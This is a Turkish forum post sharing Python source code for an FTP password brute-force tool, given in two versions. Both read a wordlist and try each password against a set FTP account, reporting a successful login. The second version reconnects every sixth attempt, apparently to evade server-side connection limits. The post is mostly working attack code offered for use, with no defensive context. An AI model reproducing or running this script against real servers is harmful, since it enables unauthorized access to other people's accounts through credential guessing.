Python ile yazdığım ftp-brute force source kodları

#-*-coding:utf-8-*-
import urllib, sys
import ftplib
from ftplib import FTP

[COLOR="Red"]#User Agent Ayarımız[/COLOR]
urllib.FancyURLopener.version = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36'

_link = 'ftp.example.com'
_user = '[email protected]'

ftp = FTP(_link)

[COLOR="red"]#wordlist okuyan robotumuz[/COLOR]
arg = sys.argv[1]
f = open(arg,'r')
xmas = f.readlines()

[COLOR="Red"]#Döngümüz[/COLOR]
for i in xmas:
	i = i.strip()
	try:
		print '[+]şifre deneniyor : ',str(i)
		ftp.login(user=_user,passwd=i)
		print '[+++++++++++++] deneme başarılı [+++++++++++++]'
		ftp.quit()
		sys.exit()
	except ftplib.error_perm as e:
		print '[-]giriş başarısız!'

print '[-] DENENEN ŞİFRE SAYISI '+str(len(xmas))+', EŞLEŞME YOK.'

#-*-coding:utf-8-*-
import urllib, sys
import ftplib
from ftplib import FTP

urllib.FancyURLopener.version = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/48.0.2564.103 Safari/537.36'

_link = 'ftp.örnek.com'
_user = 'örnek@örnek.com'

ftp = FTP(_link)

arg = sys.argv[1]
f = open(arg,'r')
xmas = f.readlines()

say = 0

for i in xmas:
	i = i.strip()
	say = say+1

	if say % 6 != 0:
		try:
			print '[+]password trying : ',str(i)
			ftp.login(user=_user,passwd=i)
			print '[+++++++++++++] login success [+++++++++++++]'
			ftp.quit()
			sys.exit()
		except ftplib.error_perm:
			print '[-]login failed!'

	else:
		try:
			ftp = FTP(_link)
			print '[+]password trying : ',str(i)
			ftp.login(user=_user,passwd=i)
			print '[+++++++++++++] login success [+++++++++++++]'
			ftp.quit()
			sys.exit()
		except ftplib.error_perm:
			print '[-]login failed!'


print '[-] total password length '+str(len(xmas))+', No Match!.'